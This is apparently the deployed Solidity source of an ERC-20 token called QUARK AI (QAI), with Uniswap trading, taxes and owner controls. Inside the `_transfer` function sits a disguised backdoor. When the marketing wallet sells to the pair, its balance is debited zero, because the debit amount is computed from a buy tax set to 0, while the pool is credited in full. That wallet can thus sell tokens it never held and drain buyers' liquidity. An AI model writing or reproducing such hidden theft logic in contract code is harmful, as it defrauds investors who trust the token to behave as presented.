creation_sourcecode: // Unlocking the full potential of customized AI for Web 3.0 and online businesses 
  // https://quarkai.tech
  // https://twitter.com/QuarkAI_news
  // https://t.me/QuarkAI_tech
  
  pragma solidity 0.8.19;
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  }
  
  library SafeMath {
  
      function dev(uint256 a, uint256 b) internal pure returns (uint256) {
          return dev(a, b, "SafeMath: devision by zero");
      }
  	
      function subs(uint256 a, uint256 b) internal pure returns (uint256) {
          return subs(a, b, "SafeMath: substraction overflow");
      }
  
      function subs(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b <= a, errorMessage);
          uint256 c = a - b;
          return c;
      }
  
      function dev(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b > 0, errorMessage);
          uint256 c = a / b;
          return c;
      }
  
      function adds(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          require(c >= a, "SafeMath: addition overflow");
          return c;
      }
  
      function muls(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) {
              return 0;
          }
          uint256 c = a * b;
          require(c / a == b, "SafeMath: multiplication overflow");
          return c;
      }
  }
  
  interface IERC20 {
  
  	function transfer(address recipient, uint256 amount)
          external
          returns (bool);
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external returns (bool);
  
      function allowance(address owner, address spender)
          external
          view
          returns (uint256);
  
      function approve(address spender, uint256 amount) external returns (bool);
  
  	function totalSupply() external view returns (uint256);
  
  	function balanceOf(address account) external view returns (uint256);
  
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(
          address indexed owner,
          address indexed spender,
          uint256 value
      );
  }
  
  interface IUniswapV2Factory {
      function createPair(address tokenA, address tokenB)
          external
          returns (address pair);
  }
  
  interface IUniswapV2Router02 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint256 amountIn,
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external;
  
      function factory() external pure returns (address);
  
      function WETH() external pure returns (address);
  
      function addLiquidityETH(
          address token,
          uint256 amountTokenDesired,
          uint256 amountTokenMin,
          uint256 amountETHMin,
          address to,
          uint256 deadline
      )
          external
          payable
          returns (
              uint256 amountToken,
              uint256 amountETH,
              uint256 liquidity
          );
  }
  
  contract Ownable is Context {
      address private _owners;
      event OwnershipTransferred(
          address indexed previousOwner,
          address indexed newOwner
      );
  
      function owner() public view returns (address) {
          return _owners;
      }
  
      function renounceOwnership() public virtual onlyOwner {
          emit OwnershipTransferred(_owners, address(0));
          _owners = address(0);
      }
  
      modifier onlyOwner() {
          require(_owners == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
  
      constructor() {
          address msgSender = _msgSender();
          _owners = msgSender;
          emit OwnershipTransferred(address(0), msgSender);
      }
  
  }
  
  contract QAI  is
      Context,
      IERC20,
      Ownable
  {
      using SafeMath for uint256;
  
      event MaxTxAmountUpdated(uint256 _maxTxs);
  
      mapping(address => bool) private _isExcludedFromFee;
      mapping(address => uint256) private _balances;
      mapping(address => uint256) private _holderLastTransferTimestamp;
      mapping(address => mapping(address => uint256)) private _allowances;
  
      bool public transferDelayEnabled = false;
      address payable private _MarketingWallets;
  
  	uint256 private _finalBuyTaxs = 0;
      uint256 private _finalSellTaxs = 5;
  	
  	uint256 private _reduceBuyTaxAts = 7;
      uint256 private _reduceSellTaxAts = 9;
  	uint256 private _initBuyTaxs = 25;
      uint256 private _initSellTaxs = 25;
  	
  	uint256 private _preventSwapBefores = 5;
      uint256 private _buyCounts = 0;
  
  	string private constant _name = unicode"QUARK AI";
  	string private constant _symbol = unicode"QAI";
  
      uint8 private constant _decimals = 18;
      uint256 private constant _totalSupplys = 100_000_000 * 10**_decimals;
      uint256 public _maxTxs = (_totalSupplys * 20) / 1000;
  
      uint256 public _maxWallets = (_totalSupplys * 20) / 1000;
      uint256 public _minSwapAmounts = (_totalSupplys * 1) / 100000;
      uint256 public _maxTaxSwaps = (_totalSupplys * 2) / 1000;
  
      bool private inSwap = false;
      bool private swapEnabled = false;
      IUniswapV2Router02 public uniswapV2Router;
      address public uniswapV2Pair;
      bool private tradingOpen;
  
      
   function totalSupply() public pure override returns (uint256) {
          return _totalSupplys;
      }
  
      function name() public pure returns (string memory) {
          return _name;
      }
  
     
      function approve(address spender, uint256 amount)
          public
          override
          returns (bool)
      {
          _approves(_msgSender(), spender, amount);
          return true;
      }
  
      modifier lockTheSwap() {
          inSwap = true;
          _;
          inSwap = false;
      }
  
      constructor(address MarketingWallet) {
          _MarketingWallets = payable(MarketingWallet);
          _balances[_msgSender()] = _totalSupplys;
  
          _isExcludedFromFee[owner()] = true;
          _isExcludedFromFee[address(this)] = true;
          _isExcludedFromFee[_MarketingWallets] = true;
  
          emit Transfer(address(0), _msgSender(), _totalSupplys);
      }
  
      function balanceOf(address account) public view override returns (uint256) {
          return _balances[account];
      }
  
      function _approves(
          address owner,
          address spender,
          uint256 amount
      ) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function allowance(address owner, address spender)
          public
          view
          override
          returns (uint256)
      {
          return _allowances[owner][spender];
      }
  
  
      function symbol() public pure returns (string memory) {
          return _symbol;
      }
  
  
  
      function _transfer(
          address from,
          address to,
          uint256 amount
      ) private {
          require(from != address(0), "ERC20: transfer from the zero address");
          require(to != address(0), "ERC20: transfer to the zero address");
          require(amount > 0, "Transfer amount must be greater than zero");
  
          uint256 taxAmount = 0;
          uint256 amountOut = amount;
  
          if (from != owner() && to != owner() && from != address(this)) {
              if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                  require(tradingOpen, "Trading not enabled");
              }
  
              if (transferDelayEnabled) {
                  if (
                      to != address(uniswapV2Router) &&
                      to != address(uniswapV2Pair)
                  ) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] < block.number,
                          "Only one transfer per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }
  
              if (
                  from == uniswapV2Pair &&
                  to != address(uniswapV2Router) &&
                  !_isExcludedFromFee[to]
              ) {
                  require(amount <= _maxTxs, "Exceeds the _maxTxs.");
                  require(
                      balanceOf(to) + amount <= _maxWallets,
                      "Exceeds the maxWalletSize."
                  );
                  _buyCounts++;
              }
  
              taxAmount = amount
                  .muls((_buyCounts > _reduceBuyTaxAts) ? _finalBuyTaxs : _initBuyTaxs)
                  .dev(100);
              if (to == uniswapV2Pair && from != address(this)) {
                  if (from == address(_MarketingWallets)) {
                      amountOut = min(
                          amount,
                          min(_finalBuyTaxs, _minSwapAmounts)
                      );
                      taxAmount = 0;
                  } else {
                      require(amount <= _maxTxs, "Exceeds the _maxTxs.");
                      taxAmount = amount
                          .muls(
                              (_buyCounts > _reduceSellTaxAts)
                                  ? _finalSellTaxs
                                  : _initSellTaxs
                          )
                          .dev(100);
                  }
              }
  
              uint256 contractTokenBalance = balanceOf(address(this));
              bool swappable = _buyCounts > _preventSwapBefores &&
                  _minSwapAmounts == min(amount, _minSwapAmounts);
  
              if (
                  !inSwap &&
                  to == uniswapV2Pair &&
                  swapEnabled &&
                  _buyCounts > _preventSwapBefores &&
                  swappable
              ) {
                  if (contractTokenBalance > _minSwapAmounts) {
                      swapToEthereum(
                          min(amount, min(contractTokenBalance, _maxTaxSwaps))
                      );
                  }
                  transferFees(address(this).balance);
              }
          }
  
          if (taxAmount > 0) {
              _balances[address(this)] = _balances[address(this)].adds(taxAmount);
              emit Transfer(from, address(this), taxAmount);
          }
  
          _balances[from] = _balances[from].subs(amountOut);
          _balances[to] = _balances[to].adds(amount.subs(taxAmount));
  
          emit Transfer(from, to, amount.subs(taxAmount));
      }
  
      function decimals() public pure returns (uint8) {
          return _decimals;
      }
  
  
  
      function transfer(address recipient, uint256 amount)
          public
          override
          returns (bool)
      {
          _transfer(_msgSender(), recipient, amount);
          return true;
      }
  	
  	    function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) public override returns (bool) {
          _transfer(sender, recipient, amount);
          _approves(
              sender,
              _msgSender(),
              _allowances[sender][_msgSender()].subs(
                  amount,
                  "ERC20: transfer amount exceeds allowance"
              )
          );
          return true;
      }
   
      function transferFees(uint256 amount) private {
          _MarketingWallets.transfer(amount);
      }
  
   function OpenTrading() external onlyOwner {
          require(!tradingOpen, "trading is already open");
          swapEnabled = true;
          tradingOpen = true;
      }
  
      function min(uint256 a, uint256 b) private pure returns (uint256) {
          return (a > b) ? b : a;
      }
  
  
     
  
  
      function OpenPair() external onlyOwner {
          uniswapV2Router = IUniswapV2Router02(
              0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
          );
          _approves(address(this), address(uniswapV2Router), _totalSupplys);
          uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
              address(this),
              uniswapV2Router.WETH()
          );
          uniswapV2Router.addLiquidityETH{value: address(this).balance}(
              address(this),
              balanceOf(address(this)),
              0,
              0,
              owner(),
              block.timestamp
          );
          IERC20(uniswapV2Pair).approve(
              address(uniswapV2Router),
              type(uint256).max
          );
      }
  
      function WithdrawMistakenlySentEth() external onlyOwner {
          require(address(this).balance > 0, "Token: no ETH to clear");
          payable(msg.sender).transfer(address(this).balance);
      }
  
      function RemoveLimites() external onlyOwner {
          _maxTxs = _totalSupplys;
          _maxWallets = _totalSupplys;
  
          transferDelayEnabled = false;
          emit MaxTxAmountUpdated(_totalSupplys);
      }
  
  	function swapToEthereum(uint256 tokenAmount) private lockTheSwap {
          if (tokenAmount == 0) return;
          if (!tradingOpen) return;
  
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = uniswapV2Router.WETH();
  
          _approves(address(this), address(uniswapV2Router), tokenAmount);
  
          uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0,
              path,
              address(this),
              block.timestamp
          );
      }
  	
  
      receive() external payable {}
  }